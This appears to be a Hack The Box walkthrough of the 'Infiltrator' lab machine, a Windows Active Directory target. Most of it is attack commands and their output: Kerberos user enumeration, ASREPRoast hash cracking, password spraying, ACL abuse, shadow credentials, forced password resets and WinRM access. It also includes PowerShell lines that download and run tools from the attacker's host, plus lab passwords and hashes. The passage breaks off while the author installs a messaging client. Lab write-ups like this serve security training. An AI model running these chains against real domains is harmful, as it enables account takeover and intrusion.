Infiltrator

INTRODUCTION

title picture

RECON

nmap scans

Port scan

I’ll start by setting up a directory for the box, with an nmap subdirectory. I’ll set $RADDR to the target machine’s IP and scan it with a TCP port scan over all 65535 ports:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
9389/tcp  open  adws
15220/tcp open  unknown
49667/tcp open  unknown
49690/tcp open  unknown
49691/tcp open  unknown
49694/tcp open  unknown
49725/tcp open  unknown
49756/tcp open  unknown

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Infiltrator.htb
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-04-14 07:55:07Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after:  2099-07-17T18:48:15
|_ssl-date: 2025-04-14T07:58:24+00:00; 0s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after:  2099-07-17T18:48:15
|_ssl-date: 2025-04-14T07:58:24+00:00; 0s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after:  2099-07-17T18:48:15
|_ssl-date: 2025-04-14T07:58:24+00:00; 0s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-14T07:58:24+00:00; 0s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after:  2099-07-17T18:48:15
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: INFILTRATOR
|   NetBIOS_Domain_Name: INFILTRATOR
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: infiltrator.htb
|   DNS_Computer_Name: dc01.infiltrator.htb
|   DNS_Tree_Name: infiltrator.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2025-04-14T07:57:44+00:00
|_ssl-date: 2025-04-14T07:58:24+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=dc01.infiltrator.htb
| Not valid before: 2025-04-13T07:49:23
|_Not valid after:  2025-10-13T07:49:23
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
15220/tcp open  unknown
49667/tcp open  msrpc         Microsoft Windows RPC
49690/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49691/tcp open  msrpc         Microsoft Windows RPC
49694/tcp open  msrpc         Microsoft Windows RPC
49725/tcp open  msrpc         Microsoft Windows RPC
49756/tcp open  msrpc         Microsoft Windows RPC

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-04-14T07:57:47
|_  start_date: N/A

I’m seeing an Active Directory environment using Kerberos, with an IIS webserver and both WinRM and RDP for remote connection. RDP is a bit of a treat - we don’t often see it.

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR

No results.

UDP scan

To be thorough, I’ll also do a scan over the common UDP ports. UDP scans take quite a bit longer, so I limit it to only common ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
PORT    STATE SERVICE      VERSION
53/udp  open  domain       Simple DNS Plus
88/udp  open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-14 08:02:04Z)
123/udp open  ntp          NTP v3

These are typical for Active Directory

Webserver Strategy

Noting the redirect from the nmap scan, I’ll add infiltrator.htb and the domain controller host to my /etc/hosts and do banner-grabbing for the web server:

DOMAIN=infiltrator.htb
echo -e "$RADDR dc01.$DOMAIN $DOMAIN" | sudo tee -a /etc/hosts
whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR

whatweb

(Sub)domain enumeration

Next I’ll perform vhost and subdomain enumeration. First, I’ll check for alternate domains at this address:

WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

No results.

Next I’ll check for subdomains of infiltrator.htb:

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

Also no results.

Directory enumeration

I’ll move on to directory enumeration. First, on http://infiltrator.htb:

I prefer to not run a recursive scan, so that it doesn’t get hung up on enumerating CSS and images.

WLIST=/usr/share/wordlists/dirs-and-files.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 60 -ic -c -o fuzzing/ffuf-directories-root -of json -timeout 4 -v

directory enumeration

Nothing interesting there, either.

Exploring the Website

Next I’ll browse the target website manually a little.

I find it’s really helpful to turn on a web proxy while I browse the target for the first time, so I’ll turn on FoxyProxy and open up ZAP.

The website is a landing page for a digital marketing firm. As far as I can tell, the website is completely static. There is a contact form, but it’s unclear whether or not it does anything.

index page

Now, in ZAP, I’ll add the target infiltrator.htb to the Default Context and proceed to “Spider” the website (actively build a sitemap by following all of the links and references to other pages). The resulting sitemap looked like this:

site map

Those two GET endpoints with different querystrings are the Subscribe and Contact Us forms.

The only discernible hint on the page is the Digital Team section:

team section

There are seven members. Two of them have roles that may involve increased privileges:

  1. David Anderson (Digital Marketer)
  2. Olivia Martinez (Chief Marketing)
  3. Kevin Turner (QA Tester) ⭐
  4. Amanda Walker (Company Founder)
  5. Marcus Harris (Developer) ⭐
  6. Lauren Clark (Digital Influencer)
  7. Ethan Rodriguez (Digital Influencer)

Username Enumeration

If we could find some actual, verified usernames, it would be very helpful - it would open a lot of options for further enumeration of the target.

Earlier when I was exploring the website I took note of the team composition. It might make sense to build a custom wordlist for this company:

#!/usr/bin/env python3

import sys

team_members = ["David Anderson (Digital Marketer)",
"Olivia Martinez (Chief Marketing)",
"Kevin Turner (QA Tester)",
"Amanda Walker (Company Founder)",
"Marcus Harris (Developer)",
"Lauren Clark (Digital Influencer)",
"Ethan Rodriguez (Digital Influencer)"]
departments = ["marketing", "executive", "it", "qa", "sales"]
company = "infiltrator"

output_file = 'custom_wordlist.lst'

def name_variations(person_name: str):
    first = person_name.split()[0].lower()
    last  = person_name.split()[1].lower()
    variations = []
    
    def concat_variations(a, b):
        return [f"{a}{b}", f"{a}.{b}", f"{a}_{b}", f"{a}-{b}"]
    
    for a in [first, first[0], first[:3]]:
        for b in [last, last[0], last[:3]]:
            variations += concat_variations(a,b)
    
    return variations
    
entries = []
for t in team_members:
    entries += name_variations(t)
entries += departments
entries += [company]

with open(output_file, 'w') as f:
    for e in entries:
        f.write(e + '\n')
    
print(f'Wrote wordlist: {output_file} ({len(entries)} entries)')

Now I’ll use this script to make custom_wordlist.lst:

python3 build_custom_wordlist.py
# Wrote wordlist: custom_wordlist.lst (258 entries)

We can use this custom wordlist alongside Kerbrute to check for the existence of usernames:

kerbrute userenum -d infiltrator.htb --dc $RADDR -t 100 -o kerbrute.log ./custom_wordlist.lst

kerbrute username enum

It’s a little more useful to have the usernames by themselves, so I’ll split that into another wordlist:

cat kerbrute.log | grep 'VALID' | awk '{print $7}' | cut -d '@' -f 1 | tee ../loot/known_usernames.txt

FOOTHOLD

ASREPRoast

Now that we have a list of some verified usernames, we can check if any of them have Kerberos preauthentication disabled (which would open them up to an ASREPRoast):

cd ../loot
impacket-GetNPUsers -usersfile known_usernames.txt -no-pass -dc-ip $RADDR 'infiltrator.htb/'

checking Kerberos preauthentication

Excellent - Lauren Clark has the UF_DONT_REQUIRE_PREAUTH bit set. We can grab the hash by re-running this command with the extra -request and -format hashcat args:

impacket-GetNPUsers -usersfile known_usernames.txt -no-pass -dc-ip $RADDR -request 'infiltrator.htb/' -format hashcat

⚠️ The hash format looks very similar, but it is in fact different. Be sure to extract the proper format before attempting to crack it.

We can now paste the hash into a file, asrep.hash and attempt to crack it:

vim asrep.hash  # [PASTE]
name-that-hash -f asrep.hash  # indicates hashcat mode 18200
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt

Moments later, we’ve cracked it:

cracked l.clark hash

🎉 We’ve found a credential: l.clark : WAT?watismypass!

Kerberos configuration

Given that Lauren Clark is only on the Digital Influencer team, it’s likely they do not have remote access to the domain controller 😂 Still though, it’s worth a try:

I’ve already make a local Kerberos configuration file, custom_krb5.config. I have a bash script for formatting Kerberos config files, but it’s just an evolution of the one 0xBEN has posted.

I’ve also obtained a TGT for l.clark, so I can try authenticating using Kerberos:

impacket-getTGT -dc-ip $RADDR 'infiltrator.htb/l.clark:WAT?watismypass!'
export KRB5_CONFIG="$PWD/custom_krb5.conf"
export KRB5CCNAME="$PWD/loot/l.clark.ccache"
  • ⛔ WinRM with username/password: WinRM::WinRMAuthorizationError
  • ⛔ WinRM using Kerberos authentication: GSS_S_COMPLETE: Invalid token was supplied
    • I tried with both impacket-getTGT and with kinit… no clue what’s wrong.
  • ⛔ RDP with username/password: Connection reset by peer

No problem - it was unlikely to work anyway. Let’s see if we can get any good data from LDAP by collecting some data for Bloodhound.

Lauren Clark

Bloodhound collection

Since we have some credentials, we should be able to freely query LDAP. This could be done manually, but Bloodhound collectors will do a better job anyway.

rusthound-ce -d 'infiltrator.htb' -u 'l.clark' -p 'WAT?watismypass!' -z

Importing this into Bloodhound-CE, we don’t really see much about l.clark. They’re a member of the MARKETING_TEAM group, but that’s pretty much it:

Bloodhound - l.clark

Also, in the interest of determining who we might be able to use for remote access, we can check group membership:

  • REMOTE MANAGEMENT USERS: m.harris, winrm_svc, administrator
  • REMOTE DESKTOP USERS: o.martinez

User enumeration

We also now see a full list of users on the box (not just the ones I guessed with my custom wordlist). I can see this in Bloodhound, but it’s difficult to show it all on one page, so I’ll use ldapsearch:

ldapsearch -H ldap://infiltrator.htb -D 'l.clark@infiltrator.htb' -w 'WAT?watismypass!' -b 'dc=infiltrator,dc=htb' '(objectClass=user)' | 
grep -i 'samaccountname' | 
awk '{ $1=""; print substr($0,2) }' | 
tr '[:upper:] [:lower:]' | 
tee domain_users.txt

The results are as follows:

administrator
guest
dc01$
krbtgt
d.anderson
l.clark
m.harris
o.martinez
a.walker
k.turner
e.rodriguez
winrm_svc
infiltrator_svc$
lan_managment

Credential spraying

Now that we have a complete list of users, let’s try some credential-spraying using our one known password:

crackmapexec smb -u domain_users.txt -p 'WAT?watismypass!' -d infiltrator.htb --continue-on-success $RADDR

credential spraying with l.clark password

I’m not quite sure what that STATUS_ACCOUNT_RESTRICTION result is, so I’ll try credential-spraying at Kerberos instead of SMB:

kerbrute passwordspray --dc $RADDR -d 'infiltrator.htb' domain_users.txt 'WAT?watismypass!'

credential spraying with kerbrute

It’s puzzling why two human users would have the same password, but whatever 👀

David Anderson

We already know that d.anderson has no remote access, but they might have different visiblity over LDAP and might have different SMB shares - I should retrace my enumeration steps.

SMB

I’ll try accessing SMB using plaintext credentials:

smbclient -U 'infiltrator.htb\d.anderson%WAT?watismypass!' -L //$RADDR/
# session setup failed: NT_STATUS_ACCOUNT_RESTRICTION

Now I’ll try using Kerberos:

export KRB5_CONFIG="$PWD/custom_krb5.conf"
kdestroy -A
kinit d.anderson
KRB5CCNAME=/tmp/krb5cc_1000 smbclient -N --use-kerberos=required -L //$RADDR/
# gensec_spnego_client_negTokenInit_step: Could not find a suitable mechtype in NEG_TOKEN_INIT
# session setup failed: NT_STATUS_INVALID_PARAMETER

LDAP (for Bloodhound)

We already have the krb5ccache file cached in /tmp, so we can run rusthound-ce directly:

KRB5CCNAME=/tmp/krb5cc_1000 rusthound-ce -d 'infiltrator.htb' -f 'dc01.infiltrator.htb' --kerberos -z

As soon as we check out the outbound object control for d.anderson, we see that they have GenericAll over the Marketing Digital OU:

d.anderson outbound object control

With GenericAll, we can do whatever we want with the OU. Specifically, we can write an ACL onto the OU that will then apply to any members of the OU via inheritence. This seems to be a likely path, since the OU is not empty:

marketing digital OU

In other words, we might be able to use the GenericAll privilege to allow d.anderson to take over e.rodriguez 🤔

GenericAll on OU

We should be able to use our GenericAll on the OU to extend our privilege or all members of the OU. When we have GenericAll/FullControl over an account, one of the best ways to take over the account is using Shadow Credentials.

Another way is to force a password change on the target account, but I would consider that quite rude on a HTB box. It’s good etiquette to avoid making changes that break someone else’s foothold 🎩

We can use the GenericAll over the OU as follows (note that we must use Kerberos for authentication, and must provide the -dc-ip argument):

dacledit.py -k -dc-ip $RADDR -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson':'WAT?watismypass!'

dacledit success 1

Great, now we should also have FullControl on every member of the OU.

Shadow credentials

Now that we have FullControl on members of the OU, we should be able to proceed with the Shadow Credentials attack to compromise e.rodriguez:

⚠️ There was a regression in the pywhisker repo. As I’m doing this box (Apr 15, 2025), I’ve overcome this by following this comment in the pywhisker repo Issues section.

To fix pywhisker, make this change at line 260:

# from impacket.krb5.asn1 import Ticket as Tickety
from impacket.krb5.types import Ticket as Tickety
# PyWhisker to add shadow credential
cd ~/Tools/pywhisker/pywhisker; source ../bin/activate
python3 pywhisker.py -d "infiltrator.htb" --dc-ip $RADDR -u "d.anderson" -p 'WAT?watismypass!' -k --target "e.rodriguez" --action "add" -f 'pywhisker-e.rodriguez' -P 'Infiltrator123!'
mv pywhisker-e.rodriguez* ~/Box_Notes/Infiltrator/

pywhisker success

As the pywhisker output indicates, we can now utilize the shadow credentials by obtaining a TGT with PKINITtools:

cd ~/Tools/PKINITtools; source bin/activate
python3 gettgtpkinit.py -cert-pfx ~/Box_Notes/Infiltrator/pywhisker-e.rodriguez.pfx -pfx-pass 'Infiltrator123!' -dc-ip 'dc01.infiltrator.htb' 'infiltrator.htb/e.rodriguez' '/home/kali/Box_Notes/Infiltrator/loot/e.rodriguez.ccache'

PKINITtools got TGT e.rodriguez

⭐ Un-PAC the Hash

When we did the shadow credentials attack, pywhisker gave us .pem and .pfx files to use with the target’s certificate services / PKI. We then ran the private key through gettgtpkinit.py from PKINITtools, which gave us:

  • the TGT / .ccache file, which is what we wanted (for authentication using Kerberos) 👍
  • the ASREP hash, because we “might need it later” 🤷‍♂️

What if I told you that these were the only two things we need to also grab the NT hash? We can use getnthash.py also from PKINITtools for this:

python3 getnthash.py -key 4f253e3dfbde7cc0fc6801bcbda23ea47d28cf818923d65c1ad24596df42c0fe -dc-ip $RADDR 'infiltrator.htb/e.rodriguez'

# [*] Using TGT from cache
# [*] Requesting ticket to self with PAC
# Recovered NT Hash
# b02e97f2fdb5c3d36f77375383449e56

Yes, it’s truly that easy. This is very helpful, since some tools don’t play nicely with Kerberos, and work much better by passing-the-hash. Performing the above technique (called “Un-PAC the hash”) leaves our options open for a broader set of tools.

For more info about this technique in general, read up on “Pass the Certificate”.

Ethan Rodriguez

Bloodhound

We’ve just moved laterally to another user, e.rodriguez. We should collect more data for Bloodhound, in case we can now “see” something that we couldn’t earlier (as d.anderson or l.clark).

Just like before, we’ll need to use Kerberos for authentication to LDAP 👇

cd ~/Box_Notes/Infiltrator
export KRB5_CONFIG="$PWD/custom_krb5.conf"
cd loot
KRB5CCNAME=e.rodriguez.ccache rusthound-ce -d 'infiltrator.htb' -f 'dc01.infiltrator.htb' --kerberos -z

Apparently, e.rodriguez is the only member of the digital_influencers group:

Bloodhound - e.rodriguez 2

But it doesn’t seem like that will really matter… That group can’t do anything special, as far as I can see.

What is much more interesting is that e.rodriguez has AddSelf to chiefs marketing, and subsequently chiefs marketing has ForceChangePassword on m.harris:

Bloodhound - e.rodriguez 1

😄 m.harris is the team’s developer, and the only regular member of remote management users; this might be the final approach to us getting a shell on the target with WinRM!

m.harris takeover

AddSelf to group

Bloodhound-CE instructs us to use net rpc for adding a member to a group, but I’ll use BloodyAD instead:

export KRB5_CONFIG=/home/kali/Box_Notes/Infiltrator/custom_krb5.conf
export KRB5CCNAME=/home/kali/Box_Notes/Infiltrator/loot/e.rodriguez.ccache
bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -u e.rodriguez --kerberos add groupMember 'CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB' 'e.rodriguez'

e.rodriguez added self to chiefs marketing

Success! Let’s proceed with forcing a password change.

ForceChangePassword

We can use BloodyAD to set a new password, too:

bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -u e.rodriguez --kerberos set password 'm.harris' 'S3@gullll'

e.rodriguex failed to set password 1

😕 Huh? Why would that not have worked?

Let’s try the same thing, but instead pass-the-hash using the NT hash we obtained during the shadow credentials attack:

KRB5CCNAME=e.rodriguez.ccache bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -u e.rodriguez -p ':b02e97f...redacted...3449e56' set password 'm.harris' 'S3@gullll'

e.rodriguez success setting password

🎉 Excellent! We forced the password change successfully.

Quickly get the TGT

Since this is clearly the “intentional” path of the box, we can be 99% sure that a cleanup script will be running periodically to set the password back to the original value.

To future-proof our password reset, let’s quickly grab a TGT for m.harris:

impacket-getTGT -dc-ip $RADDR 'infiltrator.htb/m.harris:S3@gullll'

got TGT for m.harris

Check WinRM

We already know that m.harris is the only “normal” member of the remote management users group, so we can be reasonably sure that we can sign in using WinRM:

BOXPATH=/home/kali/Box_Notes/Infiltrator
export KRB5_CONFIG=$BOXPATH/custom_krb5.conf
export KRB5CCNAME=$BOXPATH/loot/m.harris.ccache
evil-winrm -i dc01.infiltrator.htb -u m.harris -r infiltrator.htb

winrm as m.harris

👏 It worked! We finally have a shell.

USER FLAG

Read the flag

Luckily, m.harris holds the user flag. Go read it for some well-earned points:

user flag

ROOT FLAG

Serve the toolbox

I would like to allow m.harris to download some tools from my attacker host. I’ll probably use a mixture of SMB and HTTP (and maybe have a reverse shell later) so I’ll open some firewall ports:

sudo ufw allow from $RADDR to any port 139,445,4444,8000 proto tcp

Now we can establish an SMB share:

sudo impacket-smbserver share -smb2support /tmp/smbshare -user 4wayhs -password 4wayhs

… and on the target, we can map a new drive to the SMB share (for convenience):

net use X: \\10.10.14.13\share /user:4wayhs 4wayhs

Bloodhound - m.harris

When I have a shell, I like to use SharpHound to collect data for Bloodhound. It seems to do the best job, but can only be used locally:

cd C:\Users\m.harris\AppData\Local\Temp
X:\SharpHound.exe -c All --collectallproperties

Annoyingly, it seems that m.harris actually can’t use SMB:

m.harris SMB wont work

Even more annoying is that it seems we don’t even have curl or wget. We’ll have to use powershell:

(New-Object Net.WebClient).DownloadFile('http://10.10.14.13:8001/SharpHound.exe', C:\Users\M.harris\AppData\Local\Temp\SharpHound.exe)
.\SharpHound.exe -c All --collectallproperties

This was successful, so I’ll use the Evil-WinRM tool “download” to transfter the SharpHound results back to my attacker host:

download 20250417001807_BloodHound.zip

It’s probably also smart to use rusthound:

KRB5CCNAME=m.harris.ccache rusthound-ce -d 'infiltrator.htb' -f 'dc01.infiltrator.htb' --kerberos -z

I’ve imported both of the .zip files into Bloodhound-CE, but it doesn’t seem like we’ve really gained anything.

Manual enumeration - m.harris

Oddly enough, m.harris seems very limited in what they can do… I can’t even run systeminfo or check tasklist! 😅

Checking net users, we get a reminder that there are three other human users on the box that we haven’t accessed: a.walker, o.martinez, and k.turner

☝️ Reminder: o.martinez is the only member of remote desktop users. We’ll keep an eye out for ways to pivot to that account. Also, o.martinez is the only other low-priv user with a home directory:

c users

A.walker                 Administrator            D.anderson
E.rodriguez              Guest                    K.turner
krbtgt                   L.clark                  lan_managment
M.harris                 O.martinez               winrm_svc

There are a couple new ports listening locally:

netstat -ano

👇 The ports greater than 40000 are usually just monitoring ports, to keep the HTB box alive; they’re not involved in the lab typically.

listening ports

There’s DNS on port 53, LDAP on port 389, then something else on port 14121. Monitoring ports aren’t usually that low… 🤔

In addition to those ports on 127.0.0.1, there are a bunch of new ports on 0.0.0.0 that we didn’t see earlier:

listening ports 2

That whole block of ports between 14118 and 14130 was not present in our initial scans. A bunch of them are from the same PID. I would love to check what the PID is, but - as mentioned earlier - we can’t run tasklist:

tasklist /FI "PID eq 6072"
# access denied

Maybe it’s worthwhile to set up a tunnel to the target. Since I have a bunch of ports to check, I’ll use Ligolo-ng (right after I check for credential re-use!) 🚩

Automatic enumeration

I’ll run WinPEAS on the target, and check if it picks up on anything interesting:

(New-Object Net.WebClient).DownloadFile('http://10.10.14.13:8001/winPEASany.exe', ‘C:\Users\M.harris\AppData\Local\Temp\winPEASany.exe’)
cd C:\Users\M.harris\AppData\Local\Temp
.\winPEASany.exe

user details 2

That Comment on k.turner is highly suspicious. Right after my initial local enumeration, I’ll check for credential reuse 🚩

WinPEAS also, somehow, obtained the process info about listening TCP ports:

listening ports 3

This outputmessenger_httpd is definitely worth checking out… And if I had to guess, this is related to the suspicious Comment in the k.turner account shown above 🤔

Lastly, WinPEAS shows a couple of templates that we might be able to use. We’ve actually used the first one already, during the shadow credentials attack:

certificate abuse

Credential reuse

While checking the user properies of local users on DC01, we found that k.turner had a very odd comment assigned to their user. The comment ("MessengerApp@Pass!") definitely seems like it might be a password, so I’ll try credential spraying:

kerbrute passwordspray --dc $RADDR -d 'infiltrator.htb' domain_users.txt 'MessengerApp@Pass!'
# Done! Tested 14 logins (0 successes) in 0.426 seconds

We didn’t have any success from Kerberos; what about SMB?

crackmapexec smb $RADDR -d infiltrator.htb -u domain_users.txt -p 'MessengerApp@Pass!' --continue-on-success

smb password spraying

Also no success. This definitely supports my assumption from earlier that some of the accounts are disallowed from using SMB, though.

🐇 Since this is an “Insane” box, I won’t rule-out the possibility that this MessengerApp@Pass! user description is actually a rabbit-hole. I’ll keep an eye out for an opportunity to try it.

Ligolo-ng

First, we can start up the Ligolo-ng-proxy on the attacker host. Take note of the TLS fingerprint:

sudo ufw allow from $RADDR to any port 11601
sudo ./ligolo-ng-proxy -selfcert
>> interface_create --name ligolo

ligolo proxy 1

Next, I’ll need to get a copy of the ligolo agent onto the target. Since this is a Windows target, we’ll also need the wintun.dll file for the appropriate architecture. I’ll just use an HTTP server for the file transfer.

For more info on starting up Ligolo-ng, check out my guide. However, it’s only applicable to Linux targets, so you may also need to reference the official Ligolo-ng Quickstart Guide.

(New-Object Net.WebClient).DownloadFile('http://10.10.14.13:8001/ligolo/agent-amd64.exe', C:\Users\M.harris\AppData\Local\Temp\agent-amd64.exe)
(New-Object Net.WebClient).DownloadFile('http://10.10.14.13:8001/ligolo/wintun-DLLs/amd64/wintun.dll', C:\Users\M.harris\AppData\Local\Temp\wintun.dll)

Now that we have the agent exe on the target, we can connect back to the proxy:

Invoke-Command -ScriptBlock { Start-Process -NoNewWindow -FilePath "C:\Users\M.harris\AppData\Local\Temp\agent-amd64.exe" -ArgumentList "-connect 10.10.14.13:11601 -accept-fingerprint 59093C...REDACTED...E96F5FE" }

Back on the attacker host, we should see the proxy acknowledge the connection:

ligolo proxy 2

Within the proxy, we then establish a session then a tunnel:

>> session
	- select the session
>> autoroute
	- select the route
	- use existing interface
	- select the existing interface `ligolo`
	- start the tunnel: Y

ligolo proxy 3

Great! Now to access the locally-listening services on the target, we need to add a route on our attacker host:

sudo ip route add 240.0.0.1/32 dev ligolo

Nmap tunneled scan

nmap -sV -Pn -p 14000-14300 -T4 240.0.0.1/32

nmap over ligolo

Since they’re HTTP, let’s check them out in a web browser.

HTTP on Ports 14123-14126

Port 14123

port 14123

😮 Whoa! I was not expecting a web app. Check out the directory, “ombro”, and the name of the app, “Output Messenger”. I’d be willing to bet that this is the client-side code:

port 14123 client js

By reading that, all I can really confirm is that, yes, it’s some kind of real-time messaging application. The code gives us a version number, though: v1.0.18. However, if that version number is right, then the one we are looking at is very old (the patch notes don’t even go back that far!)

I’ll revisit this after checking out the other two ports 🚩

Port 14125

port 14125

This is clearly some kind of JSON-based API. Maybe it’d be worth fuzzing?

WLIST=/usr/share/wordlists/dirs-and-files.txt
ffuf -w $WLIST -u http://240.0.0.1:14125/FUZZ -c -t 60 -timeout 4 -ic -ac -mc all -fc 404 -v

api fuzzing

Very interesting - we’ve found several subdirectories of /api, but getting a HTTP 401 Unauthorized; it makes perfect sense if we check any of these paths:

api fuzzing 2

Perhaps the web app is using this API? I’ll check later 🚩

Port 14126

Checking port 14126, we get a directory listing:

port 14126

Following the link brings us to a HTTP 404 page. Maybe this is a misconfiguration? Maybe a path traversal opportunity?

Output Messenger

While skimming over port 14123, we saw that there is an instance of Output Messenger running. The application claims to be an in-house, on-prem alternative to tools like Slack. We already have a credential that seems likely for this, so let’s try it!

k.turner : MessengerApp@Pass!

The credential lets us into the k.turner account:

output messenger 1

Initial observations

  • We can set a custom Status message on our account, but there’s no XSS opportunity there.

  • There’s a calendar feature, but it’s empty.

  • The Admin account is logged in right now! We’ve seen before (in Bloodhound) that administrator has an active, logged-on session to DC01 - so I guess they’re just lurking in the chat?

  • We have no chat history with any of the Offline users

  • The General_chat room has a single message from Admin that could be a hint:

    Hello everyone 😃 There have been some complaints regarding the stability of the “Output Messenger” application. In case you encounter any issues, please make sure you are using a Windows client. The Linux version is outdated.

  • The Dev_Chat room has a substantial discussion on some features they’re adding to a product.

    • It’s something about an app that looks up user details over LDAP.
    • They’ve recently added AES encryption to the connection (m.harris did it) using the LDAP password.
    • It has CLI args: username, password, searched_username, or -default.
    • The -default option should also decrypt the password - and hints that we may want to check the exception handling.
    • The app is with the QA tester right now (that’s k.turner), but m.harris did preliminary testing on it and might still have a copy somewhere.

Lots if info to take in from that. Given that the Admin user is currently logged-in, I’m wondering if it’s actually o.martinez signed in over an RDP session as administrator 🤔

We should definitely try to find a copy of this application.

All of these details point towards somehow using the -default argument and introducing an error, causing the exception handling to kick in, hopefully leaking someone’s already-decrypted password! 🏆

Other credentials

I tested the same password against all other domain users - no other users share a password with k.turner. However, our older credentials (l.clark : WAT?watismypass!) let us see what the marketing team has been up to.

output messenger 2

Shocker. The marketing team hasn’t been doing anything. They probably just DM each other on TikTok 🙄

Interestingly though, the d.anderson account that shared a password with l.clark for Kerberos does not share a password for Output Messenger.

As an extra test, I tried forcing a password change on m.harris again, then using that password to log into Output Messenger:

# AddSelf to "Chiefs Marketing"
bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -u e.rodriguez -p ":b02e97f...redacted...3449e56" add groupMember 'CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB' 'e.rodriguez'
# ForceChangePassword on m.harris
bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -u e.rodriguez -p ":b02e97f...redacted...3449e56" set password 'm.harris' 'S3@gullll'

However, we cannot use this new password:

output messenger 3

This suggests that the application that the dev team chat is alluding to is not Output Messenger. Otherwise, the password change would have been picked up by LDAP, right?

So what app are they talking about? Shouldn’t m.harris have some code, or even a backup of it?

Searching for source code

Unfortunately, the chat logs didn’t mention the name of the app, or anything else that could really help us find it. m.harris mentioned that the project could be written in C or C#, but that’s all.

Let’s try a search for file extensions that would indicate some source code:

cmd /c "where /R . *.c *.cs *.csproj"

No results! If m.harris has a copy, it must be archived or something.

Output Messenger files

Since we can’t see the app, maybe someone else can?

Output Messenger Linux Client

What about that hint about the Linux client being out-of-date? It was from #General_chat. Maybe there’s something “broken” to see or access when we use the Linux client?

The Output Messenger Server is Windows-only, but they offer the client for Windows, Mac, and Linux. Since I’ve already established a proxy, it should be pretty easy to set up the client on my attacker host. The client is available for download on the Output Messenger website.

cd ~/Downloads
curl -O https://www.outputmessenger.com/OutputMessenger_amd64.deb
sudo dpkg -i OutputMessenger_amd64.deb
outputmessenger &

